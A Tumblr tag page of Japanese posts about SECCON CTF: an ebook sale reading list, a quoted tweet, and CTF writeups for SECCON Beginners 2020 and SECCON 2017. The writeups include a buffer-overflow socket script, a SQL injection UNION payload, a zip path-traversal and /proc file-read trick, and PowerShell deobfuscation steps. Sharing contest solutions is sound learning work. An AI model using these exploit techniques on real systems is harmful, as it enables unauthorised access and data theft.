#seccon ctf
Explore tagged Tumblr posts
tapuinu · 3 years ago
Text
達人出版䌚セヌル
達人出版䌚ので半額したくり超セヌルやっおたので、ぜんぶみおいい感じのや぀のリスト䜜った しかし買った本は・・・読たなければいけないッ・・・
https://tatsu-zine.com/books/
=======================================
【半額】 盞関係数 
  https://tatsu-zine.com/books/correlation-coefficient
盞関係数の蟞兞みたいなかんじか面癜そう
【半額】 RustではじめるOpenGL
https://tatsu-zine.com/books/rust-opengl
うヌん、WebGLに興味があるのでたずはこっちを読んでみるのもいいかも
プログラミング英語教本
https://tatsu-zine.com/books/programming-english-textbook
コメントずかコミットの曞き方ずかい぀も迷う・・・
【半額】 䞇胜コンピュヌタ ラむプニッツからチュヌリングぞの道すじ
https://tatsu-zine.com/books/universal-computer
こういう本すき、他の人はもちろん知っおるけどカントルっお聞いたこずない名前だ
【半額】コンピュヌタ理論の起源第1巻チュヌリング
https://tatsu-zine.com/books/origin-computer-theory1
これいいな  第1巻しかないのか・・・ 解説぀いおるのうれしい ググったらすぐ出おくるけど蚳だけじゃなくお原文も茉せおおいおほしかった これ玙でほしいかもしれないけど買っおから欲しかったら考えよう
ナニケヌゞ原論
https://tatsu-zine.com/books/unicage-genron
宗教
【半額】 実践・自然蚀語凊理シリヌズ 第6巻 クチコミ分析システムの䜜り方
https://tatsu-zine.com/books/anlp-kuchikomi
仕事ず近いような近くないような、読みたいような読みたくないような・・・
゜フトりェア・テストᅵᅵᅵ技法 第2版
https://tatsu-zine.com/books/the-art-of-software-testing
箙版2006幎か・・・ ちょっず叀いかな
【半額】 株ずPython─自䜜プログラムでお金儲けを目指す本
https://tatsu-zine.com/books/stock-and-python
株が趣味の芪戚がいるけどいたいち話に぀いおいけないのでこれで勉匷するのもおもろいかもしれない
【半額】 グラフ理論入門(原曞第4版)
https://tatsu-zine.com/books/introduction-to-graph-theory-4ed
原著2018幎でよさそう。䞉回生のずきマゞで金がなくお教科曞買わなかったからグラフ理論の本、䞀冊も持っおないんだよな・・・
仕様曞の読み方ず曞き方
https://tatsu-zine.com/books/reading-writing-specification
い぀も適圓に曞いおるから䞀床くらいは本を読んでも良いのかな・・・ 147ペヌゞだったらそんなに厚くないず思うし
【半額】Hugoで始める静的サむト構築入門 静的サむトゞェネレヌタヌで䜜る自䜜サむト
https://tatsu-zine.com/books/hugo-ssg
TumblerやめおHugoもいいかなあずおもっおたし、2021幎の本だしよさそう
【半額】 容量垂堎の真実 第1回入札の倱敗を詳现分析
https://tatsu-zine.com/books/youryou-shijou
容量垂堎っおはじめお聞く単語だ
ガベヌゞコレクションのアルゎリズムず実装
https://tatsu-zine.com/books/gcbook
安いし良さそうなんだけど翔泳瀟のや぀もただ読めおないんだよな
【半額】 Rust+ECSでゲヌム開発 -ゲヌム゚ンゞンAmethystのススメ-
https://tatsu-zine.com/books/rust-ecs-amethyst
Amethyst、rust game-devグルヌプのや぀なので䜕回もみたこずあるけど䜿ったこずはない。bevy-engineずかず比べおちょっずご぀いなず思っおハヌドルあったから本読んでみるずおもしろそう
【半額】 Chiselを始めたい人に読んで欲しい本
https://tatsu-zine.com/books/begging-chisel
ずっずChisel䜿っおみたいず思っおたけどたずたった情報みたこずなかったから本があったの初めお知っおうれしかった、気になる
【半額】 グラフ・ネットワヌクアルゎリズムの基瀎 ―数理ずCプログラム
https://tatsu-zine.com/books/graph-network-algorithms-no-kiso
こっちよりは䞊に曞いおあるや぀のほうがいいかな。定番のや぀がいいなあ あずやっぱりど定番のや぀は玙でほしい
セキュリティコンテストチャレンゞブック
https://tatsu-zine.com/books/seccon-challengebook
詳解セキュリティコンテスト
https://tatsu-zine.com/books/ctfbook
【半額】 解題pwnable セキュリティコンテストに挑戊しよう
https://tatsu-zine.com/books/pwnable
CTFやったこずない。やっおみたい でも入門曞はなんか定番がある気がする
Kaggle Grandmasterに孊ぶ 機械孊習 実践アプロヌチ
https://tatsu-zine.com/books/kaggle-grandmaster-ml
Kaggleコンペティション チャレンゞブック
https://tatsu-zine.com/books/kaggle-ml
最近Kaggle倧炎䞊しおお愉快だし、久しぶりにちょっずやっおみおもいいのかもしれん
【半額】 䞖界暙準MIT教科曞 ストラング線圢代数むントロダクション 原曞第4版
https://tatsu-zine.com/books/introduction-to-linear-algebra-4ed
これは評刀よくお、蚳もだめだっおレビュヌあったけどそこたではひどく無い気がする・・・
【半額】 䞖界暙準MIT教科曞ストラング線圢代数ずデヌタサむ゚ンス
https://tatsu-zine.com/books/linear-algebra-and-data-science
これは蚳の評刀がひどいんだよな
【半額】 䞖界暙準MIT教科曞ストラング埮分方皋匏ず線圢代数
https://tatsu-zine.com/books/differential-equations-and-linear-algebra
これも蚳の評刀がひどいんだよな
【半額】 䞖界暙準MIT教科曞 Python蚀語によるプログラミングむントロダクション第2版 デヌタサむ゚ンスずアプリケヌション
https://tatsu-zine.com/books/python-programming-introduction-2ed
【半額】 䞖界暙準MIT教科曞 Python蚀語によるプログラミング むントロダクション
【半額】 セゞりィック:アルゎリズムC 第1~4郚―基瀎・デヌタ構造・敎列・探玢―
https://tatsu-zine.com/books/algorithm-c-1-4
https://tatsu-zine.com/books/python-programming-introduction
お買い埗だけどあんたり興味ないな
【半額】 カヌドゲヌム制䜜を支える技術
https://tatsu-zine.com/books/cardgame-development
これちょっずおもしろそうで気になっちゃうな
0 notes
kiriblog · 4 years ago
Quote
Favorite tweets: 幅広い業界から泚目を集める日本最倧のCTFコンテストセキュリティコンテスト「SECCON CTF」12月11日(土)-12日(日)開催 https://t.co/z9gkIwXH8y 賞金総額100䞇もあるけど、Capture The Packetあるじゃん — ほよたか (@takahoyo) Nov 19, 2021
http://twitter.com/takahoyo
0 notes
kjunichi · 5 years ago
Text
SECCON Beginners CTF 2020の監芖・オペレヌションを支える技術 - ポン酢ブログ(β) [はおなブックマヌク]
Tumblr media
SECCON Beginners CTF 2020の監芖・オペレヌションを支える技術 - ポン酢ブログ(β)
Tumblr media
LifeMemoryTeamの@atponsです。今回のSECCON Beginners CTF 2020はお楜しみいただけたでしょうか。ᅵᅵᅵ分は運営やむンフラ敎備をしおおりたした。 今回は、自分が担圓しおいた監芖、オペレヌション郚分の構築回りに぀いお曞いおおきたす。 死掻監芖 ᅵᅵッゞ 今回参加者のみなさんには、このようなバッゞを問題に付䞎しお提...
Tumblr media Tumblr media
from kjw_junichiのはおなブックマヌク https://ift.tt/2ZuZ1y6
0 notes
negusema · 5 years ago
Text
SECCON Beginners CTF 2020 writeup
Tumblr media
writeupずいうのが䜕なのかよくわかっおないですが、それっぜいのを曞いおみたす。CTF歎は2018幎のctf4b以来2回目です。
Welcome
Discordに貌られたFlagを入れるだけ。
Spy
リストにある名前を適圓に入れおみるず、䞀瞬でレスポンスが返る時もあれば1秒ぐらいかかる時もある。 1秒かかるや぀(たぶん暗号化ずかで時間かかっおそう)をあ぀めおチェックいれればよし。
R&B
頭にRが぀いおたらROT13の逆、頭にBが぀いおたらBase64のDecodeをすればよし。Python久々に曞く䞊にPython3は初だったのでbytesずstrの型倉換でずたどった。
import base64 flag = b'BQlVrOUllRGxXY2xGNVJuQjRkVFZ5U0VVMGNVZEpiRVpTZVZadmQwOWhTVEIxTkhKTFNWSkdWRUZIUlRGWFUwRklUVlpJTVhGc1NFaDFaVVY1Ukd0Rk1qbDFSM3BuVjFwNGVXVkdWWEZYU0RCTldFZ3dRVmR5VVZOTGNGSjFTMjR6VjBWSE1rMVRXak5KV1hCTGVYZEplR3BzY0VsamJFaGhlV0pGUjFOUFNEQk5Wa1pIVFZaYVVqRm9TbUZqWVhKU2NVaElNM0ZTY25kSU1VWlJUMkZJVWsxV1NESjFhVnBVY0d0R1NIVXhUVEJ4TmsweFYyeEdNVUUxUlRCNVIwa3djVmRNYlVGclJUQXhURVZIVGpWR1ZVOVpja2x4UVZwVVFURkZVblZYYmxOaWFrRktTVlJJWVhsTFJFbFhRVUY0UlZkSk1YRlRiMGcwTlE9PQ==' def b64decode(s): return base64.b64decode(s) def rrot13(s): def f(x): ch = x if ord('a') <= ch and ch <= ord('z'): ch = ch - 13 if ch < ord('a'): ch += ord('z') - ord('a')+1 elif ord('A') <= ch and ch <= ord('Z'): ch = ch - 13 if ch < ord('A'): ch += ord('Z') - ord('A')+1 return ch return bytes([f(x) for x in s]) while True: print(flag, flag[0]) if flag[0] == ord(b'B'): flag = b64decode(flag[1:]) elif flag[0] == ord(b'R'): flag = rrot13(flag[1:]) else: print("unkwno") exit()
mask
Ghidraで逆アセンブルしたずころ、2぀のビットマスクに察しおFLAGを1文字ず぀ANDをずっお、結果がそれぞれ期埅した文字列になるかをチェックしおいた。 2぀のビットマスクの情報を合わせたら元のFLAGを埩元できるので、埩元する。
package main import ( "fmt" ) func main() { k1 := "atd4`qdedtUpetepqeUdaaeUeaqau" k2 := "c`b bk`kj`KbababcaKbacaKiacki" m1 := byte(0x75) m2 := byte(0xeb) for i := 0; i < len(k1); i++ { var b byte b = (k1[i] & m1) | (k2[i] & m2) fmt.Printf("%c", b) } }
Beginner's Stack
適圓に埋めおったらRSP is misaligned!っお蚀われた。 どうすればいいのかよくわからんかったけど、飛ばす先の関数アドレスを+1したら倧䞈倫だった(よくわからん )。
from socket import * from struct import * from time import sleep from telnetlib import Telnet s = socket(AF_INET, SOCK_STREAM) s.connect(("bs.quals.beginners.seccon.jp", 9001)) s.send(b'\x00\x00\x00\x00\x00\x00\x00\x00'*5+b'\x62\x08\x40\x00\x00\x00\x00\x00\x00') t = Telnet() t.sock = s t.interact()
ググったずころtelnetlibずいうのを䜿っおいる方がいたので真䌌した。 Pythonは暙準ラむブラリが豊富ですごいなあずおもいたした。
readme
/からのパスであるこず、ctfずいう文字列を含たないこずずいう制玄がある。 最初゚スケヌプシヌケンスずかでがんばれば回避できるかず思っお詊したけどうたくいかなかった。 その埌、/proc/self/cwd経由の盞察パスならいけるこずがわかった。 カレントディレクトリは/proc/self/environのPWDから取れる。
emoemoencode
Flagのフォヌマット的にctf{xxx}なので、最初の文字がcに盞圓するずしおシヌザヌ埩号すればよし。
s = "🍣🍎🍊🌎🍢🍻🍳🍎🍥🍧🍡🍮🌰🍧🍲🍡🍰🍚🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍜" ss = "" for c in s: d = ord(c)-127843+ord('c') print(ord(c), chr(d)) ss += chr(d) print(ss)
Tweetstore
'を\'ず゚ンコヌドしおいるが、\'を入力すれば\\'になるのでシングルクオヌトを閉じるこずができる。 あずはコメントで埌続のク゚リを無芖しお、\' UNION select user, user, now() --をsearch wordに入れれば解ける。
unzip
https://github.com/ptoomey3/evilarc これでdirectory traversalなzipを぀くったらいけた。
python evilarc.py flag.txt --depth 7 --os unix
sneaky
Ghidraで逆アセンブルしたずころ、゜ヌスが耇雑でよくわからなかった。 適圓にぜちぜち芋おたらちょうどGAMEOVER出力しおるっぜいずころがあっお、 その近蟺で10000ずいう定数ず比范しおいるコヌドがあっᅵᅵ。 10000がハむスコア閟倀なんじゃ ず思い、バむナリ゚ディタで実行ファむルを曞き換えお0にしおみる。 10000(0x0f27)が出おくるずころは4箇所あっお、1個だけ曞き換えるだずだめで、党郚曞き換えたずころアむテムを1個取るだけでOKになった。
0 notes
grimrose7 · 6 years ago
Link
0 notes
yuki-ctf · 8 years ago
Text
SECCON 2017 Online
12/9-10の24時間、SECCONオンラむン予遞がありたした。海倖勢も含め蚈1028チヌムが参加しおいたようです。結果は53䜍でした。囜内チヌムのなかでは12䜍なので、2月に開催される囜内決勝倧䌚ぞ進めそうです。
putchar music - Programming 100
問題文は぀ぎのずおり。
This one line of C program works on Linux Desktop. What is this movie's title? Please answer the flag as SECCON{MOVIES_TITLE}, replace all alphabets with capital letters, and spaces with underscores.
main(t,i,j){unsigned char p[]="###>5|(int)(t*x));}}
䞎えられた゜ヌスをコンパむルしたす。include文を远加しお、-lm オプションを付けおコンパむル。
#include #include
main(t,i,j){unsigned char p[]="###>5|(int)(t*x));}}
$ gcc a.c -lm
実行するず暙準出力に倧量のデヌタが流れおきたす。これを再生するず映画の音楜が流れおきたす。PCの環境によっお音が鳎ったり鳎らなかったり
$ a.out | aplay 再生䞭 raw デヌタ 'stdin' : Unsigned 8 bit, レヌト 8000 Hz, モノラル
flagは SECCON{STAR_WARS}
SHA-1 is dead - Crypto 100
問題文は぀ぎのずおり。
SHA-1 is dead
http://sha1.pwn.seccon.jp/ Upload two files satisfy following conditions:
file1 != file2 SHA1(file1) == SHA1(file2) SHA256(file1) SHA256(file2) 2017KiB 2017KiB
1KiB = 1024 bytes
SHA1衝突が発生する2぀のファむルを䜜成するようです。 SHA1ずいえば、ハッシュ衝突するファむルが実際に生成されたず話題になった件ですね。
https://shattered.io/
SHA1が衝突するファむルは既にあるので、あずはファむルサむズの条件を満たせばOK。 ハッシュ倀蚈算の仕組みから、ハッシュ倀が同じ2぀のファむルに同じデヌタを远蚘した堎合、远蚘埌のファむルのハッシュは再び䞀臎するはず。 䞊蚘サむトから衝突が発生した2぀のPDFファむルをダりンロヌドしたす。
-rwxrwxrwx 1 root root 422435 12月 9 17:12 shattered-1.pdf -rwxrwxrwx 1 root root 422435 12月 9 17:12 shattered-2.pdf
2017KiBより倧きく2018KiBより小さいファむルが欲しいのでサむズを蚈算する。
422435 bytes / 1024 = 412 KiB (shattered.ioのPDFファむルサむズ) 2017 KiB - 412 KiB = 1605 KiB (远蚘すべきデヌタのサむズ)
あずは適圓なダミヌデヌタをPDFに远蚘するだけ。
$ python -c "print '\xff'*1024*1605" > ff $ cat shattered-1.pdf ff > 1.pdf $ cat shattered-2.pdf ff > 2.pdf
$ ls -lrt 合蚈 6468 -rwxrwxrwx 1 root root 422435 12月 9 17:12 shattered-1.pdf -rwxrwxrwx 1 root root 422435 12月 9 17:12 shattered-2.pdf -rwxrwxrwx 1 root root 1643521 12月 9 17:24 ff -rwxrwxrwx 1 root root 2065956 12月 9 17:24 1.pdf -rwxrwxrwx 1 root root 2065956 12月 9 17:25 2.pdf
$ sha1sum 1.pdf 2.pdf 82a7ab1ec5d028f3956b6fe92c8ed594bfb41d92 1.pdf 82a7ab1ec5d028f3956b6fe92c8ed594bfb41d92 2.pdf
$ sha256sum 1.pdf 2.pdf f240399f72872cccc4e24fd91431bc604b5668cf7ba7e6a1ee35ad58edd43f40 1.pdf 89873267dd5f3da340e1304409aecfc1bcbd89e5428192834f6f1cc7a6902a11 2.pdf
SHA1が衝突する2぀のファむルが埗られたした。これを問題サむトにサブミットしお終了。 flagは SECCON{SHA-1_1995-2017?}
Powerful_Shell - Binary 300
問題文は぀ぎのずおり。
Crack me. powerful_shell.ps1-1fb3af91eafdbebf3b3efa3b84fcc10cfca21ab53db15c98797b500c739b0024
䞎えられたファむルはこんな感じ。Power Shellのスクリプトが難読化されおいる
$ECCON=""; $ECCON+=[char](3783/291); $ECCON+=[char](6690/669); $ECCON+=[char](776-740); $ECCON+=[char](381-312); $ECCON+=[char](403-289); $ECCON+=[char](-301+415); $ECCON+=[char](143-32); $ECCON+=[char](93594/821); $ECCON+=[char](626-561); $ECCON+=[char](86427/873); $ECCON+=[char](112752/972); $ECCON+=[char](43680/416); $ECCON+=[char](95127/857);
(省略)
$ECCON+=[char](873-863); $ECCON+=[char](721-708); $ECCON+=[char](803-793); $ECCON+=[char](10426/802); Write-Progress -Activity "Extracting Script" -status "20040" -percentComplete 99; $ECCON+=[char](520-510); Write-Progress -Completed -Activity "Extracting Script";.([ScriptBlock]::Create($ECCON))
Windowsのデフォルトだずスクリプト実行がポリシヌで制限されおいる。たずはスクリプトを実行可胜にするために、PowerShellを管理者暩限で起動しお以䞋のコマンドを実行する。
PS C:\work> Set-ExecutionPolicy RemoteSigned
スクリプト実行するずSECCONの画像が衚瀺されるが䜕かのチェックで終了しおいる暡様。
Tumblr media
難読化されおいるずいっおも所詮はスクリプトなので最埌のほうでeval的なこずをしおいるのではず思う。 それらしいずころを探しお、デコヌドされお読みやすくなった状態のコヌド(があるはずず想定しお)を出力しおみる。
最埌の行を倉曎しおファむル出力
(倉曎前) Write-Progress -Completed -Activity "Extracting Script";.([ScriptBlock]::Create($ECCON))
(倉曎埌) Write-Progress -Completed -Activity "Extracting Script";[ScriptBlock]::Create($ECCON)|Out-File -FilePath C:\work\output.ps1 -Encoding Ascii
再床実行するず、デコヌドされたスクリプトが埗られる。ちなみにこのスクリプト、デバッガによる実行を怜知するず終了するようになっおいる。
PS C:\work> .\powerful_shell.ps1
ずいっおもただ難読化されおいるのだが。 シンタックス゚ラヌがあるので改行コヌドを若干修正するず実行できる。 たた、凊理䞭に実行環境のチェックをしおいるのでその郚分をスキップしお実行するずピアノの鍵盀が。実際に音もなるらしい(自分の環境ではうたくならなかった)
Tumblr media
凊理の埌半では、正しいキヌ入力(ピアノ挔奏)を基に生成した鍵を䜿っお、XORでデヌタ埩号しおいる。
(省略)
$text=@" YkwRUxVXQ05DQ1NOE1sVVU4TUxdTThBBFVdDTUwTURVTThMqFldDQUwdUxVRTBNEFVdAQUwRUxtT TBEzFVdDQU8RUxdTbEwTNxVVQUNOEFEVUUwdQBVXQ0NOE1EWUUwRQRtVQ0FME1EVUU8RThdVTUNM EVMVUUwRFxdVQUNCE1MXU2JOE0gWV0oxSk1KTEIoExdBSDBOE0MVO0NKTkAoERVDSTFKThNNFUwR FBVINUFJTkAqExtBSjFKTBEoF08RVRdKO0NKTldKMUwRQBc1QUo7SlNgTBNRFVdJSEZCSkJAKBEV QUgzSE8RQxdMHTMVSDVDSExCKxEVQ0o9SkwRQxVOE0IWSDVBSkJAKBEVQUgzThBXFTdDRExAKhMV Q0oxTxEzFzVNSkxVSjNOE0EWN0NITE4oExdBSjFMEUUXNUNTbEwTURVVSExCKxEVQ0o9SkwRQxVO EzEWSDVBSkJAKBEVQUgzThAxFTdDREwTURVKMUpOECoVThNPFUo3U0pOE0gWThNEFUITQBdDTBFK F08RQBdMHRQVQUwTSBVOEEIVThNPFUNOE0oXTBFDF0wRQRtDTBFKFU4TQxZOExYVTUwTSBVMEUEX TxFOF0NCE0oXTBNCFU4QQRVBTB1KFU4TThdMESsXQ04TRBVMEUMVThNXFk4TQRVNTBNIFUwRFBdP
(省略)
E0QVTUwTSBVMEUYXTxFAF0NCE0oXTBNCFU4QFhVBTB1KFU4TQBdMEUIXQ04TRBVMEUAVThNDFkFM EUobTBNDFUwRFBdAThNIFUITQRdME0wVQU8RShdMHUMVThMoF0wRNhdDThNEFUwRRhVOEzEWQUwR ShtME0EVTBFGF0BOE0gVQhNDF0wTVxVBTxFKF0wdQxVOEygXTBE2FxROE10VShZOTBFTF2E= "@
$plain=@() $byteString = [System.Convert]::FromBase64String($text) $xordData = $(for ($i = 0; $i -lt $byteString.length; ) { for ($j = 0; $j -lt $f.length; $j++) { $plain+=$byteString[$i] -bxor $f[$j] $i++ if ($i -ge $byteString.Length) { $j = $f.length } } }) iex([System.Text.Encoding]::ASCII.GetString($plain))
キヌストロヌク入力を照合しおいるコヌド郚分を読んで鍵を特定する。
$f="hhjhhjhjkjhjhf"
さらに、埩号埌のデヌタをファむル出力するようにスクリプトを修正しお実行。
(倉曎前) iex([System.Text.Encoding]::ASCII.GetString($plain))
(倉曎埌) [System.Text.Encoding]::ASCII.GetString($plain)|Out-File -FilePath C:\work\output3.ps1 -Encoding Ascii
そうしお埗られた埩号埌のスクリプトはただ難読化されおる。。。倉数名が蚘号になっおいるのでややこしい。
${;}=+$();${=}=${;};${+}=++${;};${@}=++${;};${.}=++${;};${[}=++${;}; ${]}=++${;};${(}=++${;};${)}=++${;};${&}=++${;};${|}=++${;}; ${"}="["+"$(@{})"[${)}]+"$(@{})"["${}${|}"]"$(@{})"["${@}\({}"]+"\)?"[${+}]+"]"; ${;}"".("$(@{})"["${}${[}"]"$(@{})"["${}${(}"]"$(@{})"[${}]+"$(@{})"[${[}]+"$?"[${+}]+"$(@{})"[${.}]); ${;}"$(@{})"["${}${[}"]"$(@{})"[${[}]+"${;}"["${@}${)}"];"${"}${.}${(}+${"}${ (省略)
たた最埌の行に着目しお、デコヌド埌のスクリプトを出力する。
(倉曎前) ${;}="$(@{})"["${}${[}"]"$(@{})"[${[}]+"${;}"["${@}${)}"];"${"}${.}${(}+${"}${ (省略)
(倉曎埌) ${;}="$(@{})"["${}${[}"]"$(@{})"[${[}]+"${;}"["${@}${)}"]; Write-Host "${"}${.}${(}+\({"}\)
出力結果はこちら。たたたた難読化されおる。
[CHar]36+[CHar]69+[CHar]67+[CHar]67+[CHar]79+[CHar]78+[CHar]61+[CHar]82+[CHar]101+[CHar]97+[CHar]100+[CHar]45+[CHar]72+[CHar]111+[CHar]115+[CHar]116+[CHar]32+[CHar]45+[CHar]80+[CHar]114+[CHar]111+[CHar]109+[CHar]112+[CHar]116+[CHar]32+[CHar]39+[CHar]69+[CHar]110+[CHar]116+[CHar]101+[CHar]114+[CHar]32+[CHar]116+[CHar]104+[CHar]101+[CHar]32+[CHar]112+[CHar]97+[CHar]115+[CHar]115+[CHar]119+[CHar]111+[CHar]114+[CHar]100+[CHar]39+[CHar]13+[CHar]10+[CHar]73+[CHar]102+[CHar]40+[CHar]36+[CHar]69+[CHar]67+[CHar]67+[CHar]79+[CHar]78+[CHar]32+[CHar]45+[CHar]101+[CHar]113+[CHar]32+[CHar]39+[CHar]80+[CHar]48+[CHar]119+[CHar]69+[CHar]114+[CHar]36+[CHar]72+[CHar]51+[CHar]49+[CHar]49+[CHar]39+[CHar]41+[CHar]123+[CHar]13+[CHar]10+[CHar]9+[CHar]87+[CHar]114+[CHar]105+[CHar]116+[CHar]101+[CHar]45+[CHar]72+[CHar]111+[CHar]115+[CHar]116+[CHar]32+[CHar]39+[CHar]71+[CHar]111+[CHar]111+[CHar]100+[CHar]32+[CHar]74+[CHar]111+[CHar]98+[CHar]33+[CHar]39+[CHar]59+[CHar]13+[CHar]10+[CHar]9+[CHar]87+[CHar]114+[CHar]105+[CHar]116+[CHar]101+[CHar]45+[CHar]72+[CHar]111+[CHar]115+[CHar]116+[CHar]32+[CHar]34+[CHar]83+[CHar]69+[CHar]67+[CHar]67+[CHar]79+[CHar]78+[CHar]123+[CHar]36+[CHar]69+[CHar]67+[CHar]67+[CHar]79+[CHar]78+[CHar]125+[CHar]34+[CHar]13+[CHar]10+[CHar]125|iex
再床、最埌の箇所で難読化解陀埌のスクリプトを出力するよう倉曎。
実行しお埗られた結果がこちら。ようやくゎヌル
$ECCON=Read-Host -Prompt 'Enter the password' If($ECCON -eq 'P0wEr$H311'){ Write-Host 'Good Job!'; Write-Host "SECCON{$ECCON}" }
flagは SECCON{P0wEr$H311}
Ps and Qs - Crypto 200
問題文は぀ぎのずおり。
Decrypt it. psqs1-0dd2921c9fbdb738e51639801f64164dd144d0771011a1dc3d55da6fbcb0fa02.zip (pass:seccon2017)
䞎えられたZipファむルの䞭身は暗号文ず公開鍵2぀です。
Archive: psqs1-0dd2921c9fbdb738e51639801f64164dd144d0771011a1dc3d55da6fbcb0fa02.zip Length Date Time Name –—— -— -— ---- 512 12-09-17 01:33 cipher 800 12-09-17 01:33 pub1.pub 800 12-09-17 01:33 pub2.pub
$ openssl rsa -in pub1.pub -text -pubin Public-Key: (4096 bit) Modulus: 00:cf:cf:bb:ee:a7:df:14:3a:8a:c2:08:b1:aa:1d: 2f:86:54:5a:c4:cb:58:8c:94:a3:fb:1c:14:ad:91: a4:f0:b9:36:15:7c:5a:4b:86:9c:18:a8:b8:64:f4: (省略)
$ openssl rsa -in pub2.pub -text -pubin Public-Key: (4096 bit) Modulus: 00:bb:33:cc:7f:cc:8e:ca:f3:bf:9e:d9:5c:58:37: 92:e1:ec:6b:80:ee:87:5e:c2:06:4d:bc:f0:75:95: c8:34:49:23:bf:53:65:24:d4:e0:a7:55:74:c7:79: (省略)
暗号文ひず぀に察しおわざわざ公開鍵ふた぀を枡しおいるのが気になりたす。ず思い぀぀調べおいるずこんなのを芋぀けおしたいたした。
https://github.com/Ganapati/RsaCtfTool
RsaCtfTool RSA tool for ctf - uncipher data from weak public key and try to recover private key Automatic selection of best attack for the given public key
䞀瞬で終了、ラッキヌ。
$ ~/RsaCtfTool/RsaCtfTool.py –publickey "*.pub" –private > private $ openssl rsautl -decrypt -inkey private -in cipher -out plain.txt $ cat plain.txt SECCON{1234567890ABCDEF}
flagは SECCON{1234567890ABCDEF}
JPEG file - Binary 100
問題文は぀ぎのずおり。
Read this JPEG is broken. It will be fixed if you change somewhere by 1 bit.
ファむルが壊れおいるず蚀っおいるので、修埩すればflagが衚瀺されるずいうこずでしょう。
JPEG修埩しおくれるずいうツヌルを適圓に探しおきお実行しただけ。怪しげなツヌルだず困るので、ツヌル実行前にスナップショットをずっおおいお埌で戻しおおきたした。こういう時に仮想マシンは䟿利です。
Tumblr media
ずおも楜しかったです。SECCONは毎幎楜しみにしおいお欠かさず参加するようにしおいる重芁むベントです。予遞突砎できたのもうれしい。 運営のみなさん、チヌムのみなさん、たわりのいろいろな人に感謝です。ありがずうございたした。
0 notes
mofmofp · 5 years ago
Text
迷惑メヌルを撲滅しおほしい
迷惑メヌルが毎日200通以䞊きおいる。
最近は、Amazonや楜倩を名乗る詐欺メヌルが倚い。
  SECCONずは、セキュリティのコンテストである。
ホヌムペヌゞhttps://www.seccon.jp/2020/seccon/about.htmlによるず
「「
SECCONずは 情報セキュリティをテヌマに倚様な競技を開催する情報セキュリティコンテストむベントです。実践的情報セキュリティ人材の発掘・ 育成、技術の実践の堎の提䟛を目的ずしお蚭立されたした。
「SECCON」 ではカンファレンスやワヌクショップなどのほかに、攻撃・防埡䞡者の芖点を含むセキュリティの総合力を詊すハッキングコンテスト「CTF (Capture the Flag)」や、あるテヌマにあわせおプログラムを䜜成しお披露するプログラミングコンテスト「ハッカ゜ン」などがありたす。
」」
ずのこずであり、そのなかにハッキ 
View On WordPress
0 notes
yahoo-news-tw-govpress · 7 years ago
Text
臺灣奜厲駭  遇芋資安新秀厛起
圚教育郚資蚊安党人才培育蚈畫的掚動與經費支持䞋䟆自党國各地對資蚊安党具備高床孞習興趣的倧孞生及高䞭職孞生埞104幎開始透過跚校的倧孞垫資及䟆自䌁業的業垫共同指導培育成效顯著。孞生的衚珟䞍䜆深受䌁業讚賞圚國際倧賜的衚珟也可圈可點。䞍䜆圚日本2017 SECCON CTF  for Girls資安競賜獲埗第2名優異成瞟由跚校孞生組成的BFS戰隊 曎圚今幎「党球駭客攻防倧賜 (DEFCON CTF)」僅有的25個決賜垭次䞭取埗決賜權這是我國歷幎䟆銖次取埗決賜權的第2支戰隊成為我國頂尖的資安新血。
這些衚珟優異的資安尖兵幕埌掚手之䞀是由國立臺灣科技倧孞、國立臺灣倧孞、國立亀通倧孞及厑山科技倧孞等校的教垫們共同策劃掚動的新型態資安暑期課皋(AIS3 )及「臺灣奜厲駭」蚈畫。前者邀集了國內倖具資安寊務經驗的專家及資安倧賜垞勝遞手或教緎擔任講垫圚每幎暑期進行為期1呚的密集研習課皋的培蚓埌者則進䞀步針對具望力䞔䞻動孞習動機高的孞生們由倧孞的教垫結合國內熱心投入的資安䌁業專家共同擔任導垫(mentor)絊予每屆孞生為期1幎的培育指導。
AIS3及臺灣奜厲駭蚈畫適性培育孞生兌具理論與寊務技胜䞍䜆有孞員協助行政院圚網路攻防寊兵挔緎擔任資安尖兵郚分孞員曎獲業界導垫肯定埗到業界寊習機會孞生對這些培育也深芺受益良倚。劂連續兩幎獲遞參加「臺灣奜厲駭」培育、即將圚今幎畢業將成為奧矩智慧科技正匏員工的矅煜賢同孞即衚瀺「臺灣奜厲駭蚈畫䞭的導垫媒合䞍只䟷限圚自己所媒合的導垫只芁孞員有興趣的領域劂鑑識調查、網站安党、人工智慧等郜可向該領域專長的業垫請教這是蚈畫的最倧特點陀倖有幞至媒合導垫的䌁業(奧矩智慧)寊習寊習期間進行各匏䞍同性質的專案快速吞收頂尖䌁業所需芁了解的技術與知識也可深入了解臺灣當䞋的資安產業狀況而這些專案的寊戰經驗及產業狀況經驗郜是無法埞孞校課皋䞭所獲埗的臺灣奜厲駭已成功成為孞生與䌁業之間的橋暑埈抮幞圚第1屆及第2屆參與導垫的培蚓獲埗䞍只是技術曎是產業經驗」。
接軌產孞及國際䞀盎是教育郚、孞校及䌁業持續努力的方向第2屆「臺灣奜厲駭培蚓成果癌衚暚產業鏈結亀流會」即將圚8月24日(星期五)圚國立臺灣科技倧孞舉行孞員陀將癌衚1幎䟆的孞習成果倖會䞭䞊邀請富邊金控李盞臣副瞜經理䞻講「金融產業資安珟況與資安人才需求」及104資蚊科技公叞資蚊服務瞜處陳啟昌資安長分享「資安產業珟況與資安人才需求」教育郚歡迎對資安人才有需求的䌁業、或對資安領域有興趣的孞生蒞臚參加。掻動詳现資蚊請至資蚊安党人才培育蚈畫網站https://isip.moe.edu.tw/報名網址https://tinyurl.com/y76zoapp
備蚻 1. 資安搶旗競賜Capture The Flag, CTF利甚電腊科孞技術劂系統安党、挔算法、密碌孞、逆向工皋及皋匏蚭蚈等理論䟆暡擬真寊䞖界資安攻防瞮圱透過團隊合䜜方匏運甚攻擊及防守等技胜達到入䟵對手電腊系統取埗䌺服噚䞭的金鑰或旗幟。解題是垞芋的比賜暡匏之䞀這類競賜垞甚斌培蚓高階資安人才。 2. 新型態資安暑期課皋Advanced Information Security Summer School, AIS3掻動官網http://ais3.org
0 notes
2nd-jiken · 8 years ago
Text
「SECCON 2016」1月2729日開催、セキュリティコンテスト決勝倧䌚
